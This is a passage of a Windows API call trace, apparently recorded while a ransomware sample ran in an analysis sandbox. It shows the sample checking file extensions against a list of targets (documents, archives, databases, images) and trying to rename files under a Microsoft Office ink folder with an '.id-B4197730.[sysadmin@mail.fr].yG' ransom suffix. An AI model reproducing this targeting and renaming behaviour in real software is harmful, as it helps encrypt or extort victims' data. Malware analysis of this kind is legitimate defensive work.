	[0134.999] lstrlenW (lpString=".1cd") returned 4
	[0134.999] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0134.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0134.999] lstrlenW (lpString=".jpg") returned 4
	[0134.999] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0134.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0134.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0134.999] lstrlenW (lpString=".doc") returned 4
	[0134.999] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0134.999] lstrlenW (lpString=".docx") returned 5
	[0134.999] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0134.999] lstrlenW (lpString=".pdf") returned 4
	[0134.999] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0134.999] lstrlenW (lpString=".xls") returned 4
	[0134.999] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0134.999] lstrlenW (lpString=".xlsx") returned 5
	[0134.999] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0134.999] lstrlenW (lpString=".ppt") returned 4
	[0135.000] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0135.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0135.000] lstrlenW (lpString=".zip") returned 4
	[0135.000] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0135.000] lstrlenW (lpString=".rar") returned 4
	[0135.000] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0135.000] lstrlenW (lpString=".bz2") returned 4
	[0135.000] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0135.000] lstrlenW (lpString=".7z") returned 3
	[0135.000] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0135.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0135.000] lstrlenW (lpString=".dbf") returned 4
	[0135.000] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0135.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0135.000] lstrlenW (lpString=".1cd") returned 4
	[0135.000] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0135.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0135.000] lstrlenW (lpString=".jpg") returned 4
	[0135.000] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0135.001] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0135.001] lstrlenW (lpString="delete.avi") returned 10
	[0135.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0135.002] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=208408) returned 1
	[0135.002] CloseHandle (hObject=0x390) returned 1
	[0135.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20
	[0135.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0135.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0135.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0135.002] lstrlenW (lpString=".doc") returned 4
	[0135.002] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0135.002] lstrlenW (lpString=".docx") returned 5
	[0135.002] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0135.002] lstrlenW (lpString=".pdf") returned 4
	[0135.002] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0135.002] lstrlenW (lpString=".xls") returned 4
	[0135.002] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0135.002] lstrlenW (lpString=".xlsx") returned 5
	[0135.002] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0135.002] lstrlenW (lpString=".ppt") returned 4
	[0135.003] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0135.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0135.003] lstrlenW (lpString=".zip") returned 4
	[0135.003] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0135.003] lstrlenW (lpString=".rar") returned 4
	[0135.003] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0135.003] lstrlenW (lpString=".bz2") returned 4
	[0135.003] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0135.003] lstrlenW (lpString=".7z") returned 3
	[0135.003] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0135.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0135.003] lstrlenW (lpString=".dbf") returned 4
	[0135.003] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0135.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0135.003] lstrlenW (lpString=".1cd") returned 4
	[0135.003] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0135.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0135.003] lstrlenW (lpString=".jpg") returned 4
	[0135.003] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0135.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0135.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0135.003] lstrlenW (lpString=".doc") returned 4
	[0135.003] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0135.003] lstrlenW (lpString=".docx") returned 5
	[0135.003] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0135.003] lstrlenW (lpString=".pdf") returned 4
	[0135.003] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0135.003] lstrlenW (lpString=".xls") returned 4
	[0135.003] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0135.003] lstrlenW (lpString=".xlsx") returned 5
	[0135.004] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0135.004] lstrlenW (lpString=".ppt") returned 4
	[0135.004] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0135.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0135.004] lstrlenW (lpString=".zip") returned 4
	[0135.004] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0135.004] lstrlenW (lpString=".rar") returned 4
	[0135.004] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0135.004] lstrlenW (lpString=".bz2") returned 4
	[0135.004] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0135.004] lstrlenW (lpString=".7z") returned 3
	[0135.004] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0135.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0135.004] lstrlenW (lpString=".dbf") returned 4
	[0135.004] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0135.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0135.004] lstrlenW (lpString=".1cd") returned 4
	[0135.004] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0135.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0135.004] lstrlenW (lpString=".jpg") returned 4
	[0135.004] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0135.004] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0135.005] lstrlenW (lpString="join.avi") returned 8
	[0135.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0135.010] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=199994) returned 1
	[0135.010] CloseHandle (hObject=0x390) returned 1
	[0135.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20
	[0135.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0135.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0135.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0135.010] lstrlenW (lpString=".doc") returned 4
	[0135.010] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0135.011] lstrlenW (lpString=".docx") returned 5
	[0135.011] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0135.011] lstrlenW (lpString=".pdf") returned 4
	[0135.011] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0135.011] lstrlenW (lpString=".xls") returned 4
	[0135.011] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0135.011] lstrlenW (lpString=".xlsx") returned 5
	[0135.011] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0135.011] lstrlenW (lpString=".ppt") returned 4
	[0135.011] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0135.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0135.011] lstrlenW (lpString=".zip") returned 4
	[0135.011] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0135.011] lstrlenW (lpString=".rar") returned 4
	[0135.011] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0135.011] lstrlenW (lpString=".bz2") returned 4
	[0135.011] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0135.011] lstrlenW (lpString=".7z") returned 3
	[0135.011] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0135.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0135.011] lstrlenW (lpString=".dbf") returned 4
	[0135.011] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0135.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0135.011] lstrlenW (lpString=".1cd") returned 4
	[0135.011] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0135.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0135.011] lstrlenW (lpString=".jpg") returned 4
	[0135.012] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0135.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0135.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0135.012] lstrlenW (lpString=".doc") returned 4
	[0135.012] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0135.012] lstrlenW (lpString=".docx") returned 5
	[0135.012] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0135.012] lstrlenW (lpString=".pdf") returned 4
	[0135.012] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0135.012] lstrlenW (lpString=".xls") returned 4
	[0135.012] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0135.012] lstrlenW (lpString=".xlsx") returned 5
	[0135.012] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0135.012] lstrlenW (lpString=".ppt") returned 4
	[0135.012] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0135.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0135.012] lstrlenW (lpString=".zip") returned 4
	[0135.012] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0135.012] lstrlenW (lpString=".rar") returned 4
	[0135.012] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0135.012] lstrlenW (lpString=".bz2") returned 4
	[0135.012] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0135.012] lstrlenW (lpString=".7z") returned 3
	[0135.012] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0135.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0135.013] lstrlenW (lpString=".dbf") returned 4
	[0135.013] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0135.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0135.013] lstrlenW (lpString=".1cd") returned 4
	[0135.013] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0135.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0135.013] lstrlenW (lpString=".jpg") returned 4
	[0135.013] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0135.013] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0135.013] lstrlenW (lpString="FlickAnimation.avi") returned 18
	[0135.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0135.020] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=1600388) returned 1
	[0135.020] CloseHandle (hObject=0x390) returned 1
	[0135.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20
	[0135.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0135.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0135.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0135.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0135.021] lstrlenW (lpString=".doc") returned 4
	[0135.021] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0135.021] lstrlenW (lpString=".docx") returned 5
	[0135.021] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0135.021] lstrlenW (lpString=".pdf") returned 4
	[0135.021] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0135.021] lstrlenW (lpString=".xls") returned 4
	[0135.021] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0135.021] lstrlenW (lpString=".xlsx") returned 5
	[0135.021] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0135.021] lstrlenW (lpString=".ppt") returned 4
	[0135.021] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0135.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0135.021] lstrlenW (lpString=".zip") returned 4
	[0135.021] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0135.021] lstrlenW (lpString=".rar") returned 4
	[0135.021] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0135.022] lstrlenW (lpString=".bz2") returned 4
	[0135.022] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0135.022] lstrlenW (lpString=".7z") returned 3
	[0135.022] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0135.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0135.022] lstrlenW (lpString=".dbf") returned 4
	[0135.022] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0135.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0135.022] lstrlenW (lpString=".1cd") returned 4
	[0135.022] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0135.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0135.022] lstrlenW (lpString=".jpg") returned 4
	[0135.022] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0135.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0135.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0135.022] lstrlenW (lpString=".doc") returned 4
	[0135.022] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0135.022] lstrlenW (lpString=".docx") returned 5
	[0135.022] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0135.022] lstrlenW (lpString=".pdf") returned 4
	[0135.022] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0135.022] lstrlenW (lpString=".xls") returned 4
	[0135.022] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0135.022] lstrlenW (lpString=".xlsx") returned 5
	[0135.023] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0135.023] lstrlenW (lpString=".ppt") returned 4
	[0135.023] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0135.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0135.023] lstrlenW (lpString=".zip") returned 4
	[0135.023] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0135.023] lstrlenW (lpString=".rar") returned 4
	[0135.023] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0135.023] lstrlenW (lpString=".bz2") returned 4
	[0135.023] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0135.023] lstrlenW (lpString=".7z") returned 3
	[0135.023] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0135.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0135.023] lstrlenW (lpString=".dbf") returned 4
	[0135.023] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0135.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0135.023] lstrlenW (lpString=".1cd") returned 4
	[0135.023] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0135.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0135.023] lstrlenW (lpString=".jpg") returned 4
	[0135.023] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0135.024] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0135.024] lstrlenW (lpString="auxpad.xml") returned 10
	[0135.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0135.029] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=212) returned 1
	[0135.029] CloseHandle (hObject=0x390) returned 1
	[0135.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20
	[0135.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0135.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0135.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0135.030] lstrlenW (lpString=".doc") returned 4
	[0135.030] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0135.030] lstrlenW (lpString=".docx") returned 5
	[0135.030] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0135.030] lstrlenW (lpString=".pdf") returned 4
	[0135.030] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0135.030] lstrlenW (lpString=".xls") returned 4
	[0135.030] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0135.030] lstrlenW (lpString=".xlsx") returned 5
	[0135.030] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0135.030] lstrlenW (lpString=".ppt") returned 4
	[0135.030] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0135.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0135.030] lstrlenW (lpString=".zip") returned 4
	[0135.030] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0135.030] lstrlenW (lpString=".rar") returned 4
	[0135.030] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0135.030] lstrlenW (lpString=".bz2") returned 4
	[0135.031] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0135.031] lstrlenW (lpString=".7z") returned 3
	[0135.031] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0135.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0135.031] lstrlenW (lpString=".dbf") returned 4
	[0135.031] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0135.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0135.031] lstrlenW (lpString=".1cd") returned 4
	[0135.031] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0135.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0135.031] lstrlenW (lpString=".jpg") returned 4
	[0135.031] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0135.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0135.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0135.031] lstrlenW (lpString=".doc") returned 4
	[0135.031] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0135.031] lstrlenW (lpString=".docx") returned 5
	[0135.031] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0135.031] lstrlenW (lpString=".pdf") returned 4
	[0135.031] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0135.031] lstrlenW (lpString=".xls") returned 4
	[0135.031] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0135.031] lstrlenW (lpString=".xlsx") returned 5
	[0135.031] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0135.031] lstrlenW (lpString=".ppt") returned 4
	[0135.032] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0135.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0135.032] lstrlenW (lpString=".zip") returned 4
	[0135.032] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0135.032] lstrlenW (lpString=".rar") returned 4
	[0135.032] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0135.032] lstrlenW (lpString=".bz2") returned 4
	[0135.032] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0135.032] lstrlenW (lpString=".7z") returned 3
	[0135.032] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0135.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0135.032] lstrlenW (lpString=".dbf") returned 4
	[0135.032] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0135.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0135.032] lstrlenW (lpString=".1cd") returned 4
	[0135.032] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0135.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0135.032] lstrlenW (lpString=".jpg") returned 4
	[0135.032] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0135.032] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0135.032] lstrlenW (lpString="insert.xml") returned 10
